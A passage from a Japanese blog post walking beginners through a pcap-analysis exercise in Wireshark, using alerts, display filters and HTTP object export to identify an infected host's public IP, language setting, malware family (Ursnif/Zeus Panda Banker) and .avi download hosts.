  • Exturnalとは外部のという意味なので、問題のPublic IPに何か関係がある可能性が高いと考えられます。
  • 実際にExternal IPと書いてあるアラートを確認すると"myip.opendns.com in DNS lookup" と書かれています。
  • 送信先アドレスが208.67.222.222となっておりOpenDNSと一致します。(画像内青枠)
  • DNSでのやり取りかつ208.67.222.222とのやり取りのみを表示して確認します。
    • dns && ip.addr == 208.67.222.222

f:id:Armoris:20210423135825p:plain

  • Wikipediaを確認するとグローバルIPの問い合わせに関して、「このほか、myip.opendns.comに対してAやAAAAレコードを問い合わせると、発信元のグローバルIPアドレスを返答する機能がある」と記載されています。
  • 実際にパケットを確認してみると、myip.opendns.comに対してAやAAAAで問い合わせているものがいくつかあることがわかります。(画像内赤枠)
  • 一問目の回答はこれらのパケットに対するレスポンスを確認すると問題の解答につながります。

二問目

問題文: What is the language of the infected host set to?
感染したホストの言語は何に設定されていますか?

  • まずは一問目と同様にアラートを確認しますが、回答に関係がありそうなアラートは確認できません。
  • 次にパケットを詳しく見ていきます。
  • 今回注目するのはHTTP HeadersのAccept-Languageというものです。
  • そこでまずHTTPでのやり取りのみを絞り込みます。
    • http

f:id:Armoris:20210422192904p:plain

  • この中でクライアントからサーバーへのパケットはGETリクエストとして送られていることがわかります。
  • 前回説明をしたPacketDetailsペインからパケットに関する詳細な情報を確認するとAccept-Languageの項目が含まれています。

三問目

問題文: What is the name of the malware?
マルウェアの名前はなんですか?

  • まずはアラートを確認します。
  • 一見すると問題に関係のある情報は無いように見えますが、Event Messageに"TROJAN"と記載されているアラートが確認できます。(画像内赤枠)

f:id:Armoris:20210422193320p:plain

  • TROJANとはトロイの木馬のことで、トロイの木馬というのは聞いたことがある人も多いと思います。
  • 画像の下から2つ目にあるアラートには"Zeus Panda Banker"や"Ursnif"といった名前が書いてあり、"Malcious SSL Certificate Detected"(悪意のあるSSL証明書を見つけた)となっています。
  • これらの名前についてGoogleなどで検索し、情報を集めることで問題の解答につながります。

四問目

問題文: The malware tried, and failed, to download a file ending with .avi from what host?
マルウェアは.aviで終わるファイルをダウンロードしようとしましたが、失敗しました。失敗したのはどのホストですか?

ここで確認したIPアドレスへアクセスすることは危険です

  • まずはアラートを確認しますが、問題に関係ありそうな情報は確認できません。
  • 次にパケットを確認します。
  • pcapファイルを色付けして確認したところ、DNSTCP、HTTP、NBNSでのやり取りが行われていることが確認できます。
  • 通信が行われているプロトコルからダウンロードに失敗した原因として考えられるものは、HTTPのステータスコードが400番台、500番台の場合、TCPのコネクションが確立できていない可能性などが考えられます。
  • そこで、ステータスコードと、TCPのエラーで絞り込みます。
    • http.response.code >= 400、tcp.analysis.flags

f:id:Armoris:20210423140146p:plain f:id:Armoris:20210423140215p:plain

  • これらのパケットを返してきた送信元のIPアドレスを確認すると解答につながります。

五問目

問題文: What host did the malware succeed in downloading the .avi file from?
マルウェアはどのホストから.aviファイルのダウンロードに成功しましたか?

ここでエクスポートできるファイルを開いたり実行したりすることはとても危険です。
ダウンロードの成否に関わらず、ホストに対してアクセスを試みたりすることも危険です。

  • まずはアラートを確認しますが、四問目と同様にダウンロードに関係ありそうな情報は確認できません。
  • 次にパケットを確認すると4問目と同様に、DNSTCP、HTTP、NBNSでのやり取りが行われていることが確認できます。
  • ここで前回紹介したエクスポート機能を使ってHTTPでのオブジェクトをエクスポートします。

f:id:Armoris:20210423143225p:plain

  • エクスポートできるファイルの一覧を表示します。

f:id:Armoris:20210423144519p:plain

  • この中から.aviファイルを選択するとダウンロードした際のパケットが表示されます。
  • それぞれ.aviファイルをダウンロードした際のパケットを確認すると、常に成功しているわけではなく、"404 Not Found"が返ってきた上でダウンロードされているパケットがあります。
  • これらはGoogleのエラーページのhtmlが.aviとしてダウンロードされているもののため問題には関係がありません。
    • 実際にファイルの拡張子をhtmlに変えてブラウザで開くとGoogleのエラーページが確認できます。

f:id:Armoris:20210423144305p:plain

  • ダウンロードに成功しているパケットを探し、ホスト名(画像内赤枠)を確認すると解答につながります。

終わりに

pcap分析は様々なところに散りばめてあるヒントを拾い集め、調べながら答えを導き出していく過程が、謎解きやパズルのようでとても楽しいです。

まだまだ自分もpcap分析駆け出し(?)ではありますが、もっと様々なパケットを見て、分析していきたいと思います。

この記事を見て、pcap分析を少しでも面白そうと感じていただけたのであれば、ぜひ一度挑戦してみてください。